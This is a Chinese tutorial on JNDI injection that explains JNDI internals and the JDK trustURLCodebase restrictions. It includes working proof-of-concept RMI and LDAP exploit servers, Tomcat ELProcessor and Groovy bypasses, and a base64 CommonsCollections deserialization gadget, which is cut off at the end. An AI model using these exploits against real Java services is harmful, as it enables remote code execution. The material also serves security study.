JNDI注入

基本概念

Java Naming and Directory Interface(JNDI)是一种Java API,JNDI为利用Java编写的应用程序提供命名和目录接口功能,JNDI不仅限于context.xml等应用程序服务器中的配置;相反,它是一个用于访问命名和目录服务的更广泛的API。

JNDI允许Java软件客户端通过名称发现和查找数据和对象,这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)。JNDI可访问的现有的目录及服务包括JDBC、LDAP、RMI、DNS、NIS、CORBA。

Naming Service

Naming Service将名称和对象进行关联,提供通过名称找到对象的操作。例如,DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

在命名系统中,有几个重要的概念:

  1. Bindings:表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在DNS中域名绑定到对应的IP,在RMI中远程对象绑定到对应的Name。
  2. Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,可以在指定上下文中查找名称对应的对象。例如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文(subcontext)。
  3. References:在一个实际的Naming Service中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为C/C++中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数fd(file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service

Directory Service可以被认为是Naming Service的一种拓展,除了Naming Service中已有的名称到对象的关联信息外,还允许对象拥有属性信息。因此,不仅可以根据名称去查找对象并获取其对应属性,还可以根据属性值去搜索对象。

以打印机服务为例,可以在Naming Service中根据打印机名称去获取打印机对象,然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为Directory Service,用户可以根据打印机的分辨率去搜索对应的打印机对象。

Directory Service提供了对目录中对象(Directory Objects)的属性进行增删改查的操作。常见的Directory Service有:

  1. LDAP,轻型目录访问协议。
  2. Active Directory,为Windows域网络设计,包含多个目录服务,比如域名服务、证书服务等。
  3. 其他基于目录服务的标准X.500实现的目录服务。

Interface

为了方便在JAVA中使用目录协议,JAVA实现了一套目录服务的接口JDNI,即Java提供的Java命名和目录接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。

API

JNDI架构上主要包含两个部分,即Java的应用层接口和SPI(Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装),如下图所示。

JNDI包含在Java SE平台中,要使用JNDI时,必须要拥有JNDI类和一个或多个服务提供者,JDK包括以下命名或者目录服务的服务提供者:

  • DNS,Domain Name Service(域名服务)
  • RMI,Java Remote Method Invocation(Java方法远程调用)
  • LDAP,Lightweight Directory Access Protocol(轻量级目录访问协议)
  • CORBA,Common Object Request Broker Architecture(公共对象请求代理体系结构)

基本使用

JNDI接口主要分为如下5个包:

  1. javax.naming,主要用于命名操作,它包含了命名服务的类和接口,例如Context、Bindings、References、lookup等
  2. javax.naming.directory,主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  3. javax.naming.event,在命名目录服务器中请求事件通知
  4. javax.naming.ldap,提供LDAP服务支持
  5. javax.naming.spi,允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

InitialContext

InitialContext类是JNDI的一个核心类,实现了Context接口,是所有命名操作的起点。它提供了一个上下文环境,用于相对命名操作。

构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Constructs an initial context.
public InitialContext() throws NamingException {
init(null);
}

// Constructs an initial context with the option of not initializing it.
protected InitialContext(boolean lazy) throws NamingException {
if (!lazy) {
init(null);
}
}

// Constructs an initial context using the supplied environment.
public InitialContext(Hashtable<?,?> environment) throws NamingException {
if (environment != null) {
environment = (Hashtable)environment.clone();
}
init(environment);
}

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class SimpleInitialContextDemo {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://a952d10bd0.ipv6.1433.eu.org");

try {
Context ctx = new InitialContext(env);
Object obj = ctx.lookup("object");
System.out.println(obj);
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

Reference

Reference类也是在javax.naming的一个类,实现了Referenceable接口,用于表示对对象的引用。该类表示对在命名/目录系统外部找到的对象的引用,它包含了对象的类名和一组属性,这些属性描述了如何创建和查找对象。

构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
className – The non-null class name of the object to which this reference refers.
addr – The non-null address of the object.
factory – The possibly null class name of the object's factory.
factoryLocation – The possibly null location from which to load the factory (e. g. URL)
*/

// Constructs a new reference for an object with class name 'className'.
public Reference(String className) {
this.className = className;
addrs = new Vector<>();
}

// Constructs a new reference for an object with class name 'className' and an address.
public Reference(String className, RefAddr addr) {
this.className = className;
addrs = new Vector<>();
addrs.addElement(addr);
}

// Constructs a new reference for an object with class name 'className', and the class name and location of the object's factory.
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

// Constructs a new reference for an object with class name 'className', the class name and location of the object's factory, and the address for the object.
public Reference(String className, RefAddr addr, String factory, String factoryLocation) {
this(className, addr);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class SimpleReferenceDemo {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("a",referenceWrapper);
}
}

工作流程

以上文中InitialContext为例:

首先,使用Hashtable类来设置属性INITIAL_CONTEXT_FACTORY和PROVIDER_URL的值,初始化了一个上下文。

接着,定义了两个环境值,一个是INITIAL_CONTEXT_FACTORY,值为com.sun.jndi.dns.DnsContextFactoryDnsContext的工厂类,同时,INITIAL_CONTEXT_FACTORY也决定了JNDI上下文的实际协议;一个是PROVIDER_URL,值为DNS服务器的URL地址。

最后,实例化InitialContext类并将设置好的属性值传入来初始化一个Context,此时便获得了一个与DNS服务相关联的上下文Context。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class SimpleInitialContextDemo {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://a952d10bd0.ipv6.1433.eu.org");

try {
Context ctx = new InitialContext(env);
Object obj = ctx.lookup("object");
System.out.println(obj);
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

具体流程如下:

实例化InitialContext类处下断点,跟进javax.naming.InitialContext#InitialContext方法,通过传入的属性值进行初始化操作。

跟进init方法,调用javax.naming.InitialContext#getDefaultInitCtx方法。

跟进getDefaultInitCtx方法,调用javax.naming.spi.NamingManager#getInitialContext方法。

跟进getInitialContext方法,先调用getInitialContextFactoryBuilder方法初始化了一个InitialContextFactoryBuilder类,如果initctx_factory_builder为null,则将className设置为INITIAL_CONTEXT_FACTORY属性,即手动设置的DNS上下文工厂类com.sun.jndi.dns.DnsContextFactory。

接着,通过loadClass方法来动态加载设置的工厂类,最终调用Rcom.sun.jndi.dns.DnsContextFactory#getInitialContext方法,通过设置工厂类来初始化上下文Context。

跟进DnsContextFactory#getInitialContext方法,该处的var1的值为设置的环境变量。

跟进com.sun.jndi.dns.DnsContextFactory#getInitCtxUrl方法,通过java.naming.provider.url的值来获取服务的路径。

最终初始化了一个DnsContext,获取了与服务交互所需的资源,接着通过获取到的资源与服务进行交互。

动态协议转换

在上文分析的示例代码,通过手动设置属性INITIAL_CONTEXT_FACTORY和PROVIDER_URL的值来初始化上下文。实际上,在Context#lookup方法的参数中,可以指定查找协议,JNDI会通过用户的输入来动态的识别要调用的服务以及路径。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// RmiDemo
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RmiDemo extends Remote {
public String hello() throws RemoteException;
}

// RmiDemoImpl
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RmiDemoImpl extends UnicastRemoteObject implements RmiDemo {

protected RmiDemoImpl() throws RemoteException {
}

@Override
public String hello() throws RemoteException {
return "RMI Called...";
}
}

// SimpleRmiDemo
import javax.naming.InitialContext;

public class SimpleRmiDemo {
public static void main(String[] args) throws Exception {
String rmiUrl = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
RmiDemo rmiDemo = (RmiDemo) initialContext.lookup(rmiUrl);
rmiDemo.hello();
}
}

在调用lookup方法处下断点,跟进javax.naming.InitialContext#lookup方法。

继续跟进javax.naming.InitialContext#getURLOrDefaultInitCtx方法,会调用javax.naming.InitialContext#getURLScheme方法解析出使用的协议,接着传入javax.naming.spi.NamingManager#getURLContext方法,根据defaultPkgPrefix属性动态生成Factory类,根据协议获取对应的Context。

通过动态协议转换,可以仅通过一串特定字符串就指定JNDI调用何种服务,十分便捷。但是,在示例代码中,假如能够控制rmiUrl字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的“远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。

JNDI默认支持的动态协议转换有如下几种,针对JNDI进行攻击的时候可以优先考虑以下几种服务。

JNDI注入

在上文的工作流程分析中可以看到,当传入lookup函数的参数控制不当时,则有可能导致加载远程恶意类,JNDI攻击流程如下图所示。

对于JNDI注入,在后续的JDK版本中对于RMI/LDAP两个攻击方式都做了默认情况的限制。

  1. RMI:从JDK 6u132、7u122、8u113及更高版本开始,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false,它可以防止通过JNDI获取的RMI对象从远程提供的代码库URL自动加载类定义。

  1. LDAP:从JDK 6u211、7u201、11.0.1、8u191及更高版本开始,com.sun.jndi.ldap.object.trustURLCodebase的默认值为false,禁用从远程位置自动加载通过JNDI中的LDAP服务检索对象的Java类定义。

RMI

低版本JDK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Server Code
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);

String factoryUrl = "http://localhost:8080/";
Reference reference = new Reference("Evil", "Evil", factoryUrl);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("calc", referenceWrapper);
System.err.println("RMI Server Ready: " + factoryUrl);
}
}
1
2
3
4
5
6
7
8
9
10
11
// Client Code
import javax.naming.InitialContext;

public class RmiClient {

public static void main(String[] args) throws Exception {
String rmiUrl = "rmi://localhost:1099/calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(rmiUrl);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Evil Code
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Evil implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}

public Evil() {
}

static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

高版本JDK

在高版本运行Client代码时会抛出如下异常,上文也提到了,从JDK 6u132、7u122、8u113及更高版本开始,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false,它可以防止通过JNDI获取的RMI对象从远程提供的代码库URL自动加载类定义。

1
2
3
4
5
6
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:217)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.jndi.RmiClient.main(RmiClient.java:10)

那么有什么方式可以绕过该限制嘛?答案显然是有的,在抛出的异常中可以看到,高版本JDK无法加载远程代码是在com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法中出现问题。

进入异常抛出的逻辑语句的前提是满足var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase,那么为了绕过ConfigurationException的限制,可以从三个角度出发,即令var == null,或者令var8.getFactoryClassLocation() == null,或者令trustURLCodebase的值为true。

  1. 方法一:令var8为null,从语义上看需要var3既不是Reference也不是Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程RMI没有操作的空间,因此这种情况不太好利用。
  2. 方法二:令var8.getFactoryClassLocation()的返回结果null。即,让var8对象的classFactoryLocation属性为空,这个属性表示引用所指向对象的对应factory名称,对于远程代码加载而言是codebase,即远程代码的URL地址,这正是上文针对低版本的利用方法;如果对应的factory是本地代码,则该值为空,这是绕过高版本JDK限制的关键。
  3. 方法三:在命令行指定com.sun.jndi.rmi.object.trustURLCodebase参数为true即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

上文提到了绕过高版本JDK限制的关键是利用本地的Reference Factory类。要满足方法二的理由前提,只需要在远程RMI服务器返回的Reference对象中不指定Factory的codebase。

接着看看javax.naming.spi.NamingManager#getObjectInstance方法,在处理Reference对象时,先调用getFactoryClassName方法获取对应工厂类的名称,即先在本地的CLASSPATH中寻找该类,如果找到了的话直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果没找到则通过网络请求来获取。

之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法,因此只需要在攻击者本地CLASSPATH找到这个Reference Factory类,并且在这四个地方其中一块能执行Payload即可。

在javax.naming.spi.NamingManager#getObjectFactoryFromReference的return语句中,对Factory类的实例对象进行了类型转换,因此利用的本地工厂类需要实现javax.naming.spi.ObjectFactory接口,并且该工厂类至少存在一个getObjectInstance方法。

整个利用过程的主要调用栈如下:

1
2
3
4
5
6
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance()或objectfactory#getObjectInstance()
Tomcat

存在于Tomcat依赖包中的org.apache.naming.factory.BeanFactory就是满足条件之一,org.apache.naming.factory.BeanFactory在getObjectInstance方法中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();

// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();

// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}

// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}

上述代码中,可以通过在返回给客户端的Reference对象的forceString字段指定setter方法的别名,并在后续初始化过程中进行调用。

forceString的格式为a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的setter方法为等号后的值foo,如果不包含等号,则setter方法为默认值setBar。

在后续调用时,调用setter方法使用单个参数,且参数值为对应属性对象RefAddr的值。因此,实际上可以调用任意指定类的任意方法,并指定单个可控的参数。

因为使用newInstance创建实例,所以只能调用无参构造,这就要求目标class得有无参构造方法,上面forceString可以给属性强制指定一个setter方法,参数为一个String类型,因此利用javax.el.ELProcessor作为目标class,利用el表达式执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServerTomcatBypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("bypass", referenceWrapper);
System.out.println("Registry运行中......");
}
}
Groovy

Groovy程序允许执行断言,也就意味着存在命令执行,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析Groovy脚本即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServerGroovyBypass {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);

ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "open -a Calculator");
resourceRef.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("bypass", referenceWrapper);

System.out.println("Registry运行中......");
}
}

LDAP

低版本JDK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// Server Code
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
1
2
3
4
5
6
7
8
9
10
11
// Client Code
import javax.naming.InitialContext;

public class LdapClient {

public static void main(String[] args) throws Exception {
String url = "ldap://localhost:9999/EXP";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

高版本JDK

从JDK 6u211、7u201、11.0.1、8u191及更高版本开始,com.sun.jndi.ldap.object.trustURLCodebase的默认值为false,对LDAP Reference远程加载Factory类进行了限制,因此也需要找到绕过的方式。

在LDAP中,Java有多种方式进行数据存储。

  • 序列化数据
  • JNDI Reference
  • Marshalled Object
  • Remote Location

除此以外,LDAP也可以为存储的对象指定多种属性。

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果LDAP存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()方法对该属性值内容进行反序列化,当客户端存在反序列化相关组件漏洞,则可以通过LDAP来传输恶意序列化对象。

方法一

跟进com.sun.jndi.ldap.Obj.java#decodeObject方法,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。decodeObject方法存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断,其中JAVA_ATTRIBUTES[1]为javaSerializedData。

跟进com.sun.jndi.ldap.Obj.java#deserializeObject方法,可以看到此处会进行readObject,因此可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LdapServerBypass {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8000/#Evil", "1389"};

int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

public OperationInterceptor(URL cb) {
this.codebase = cb;
}

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIENhbGN1bGF0b3J0AARleGVjdX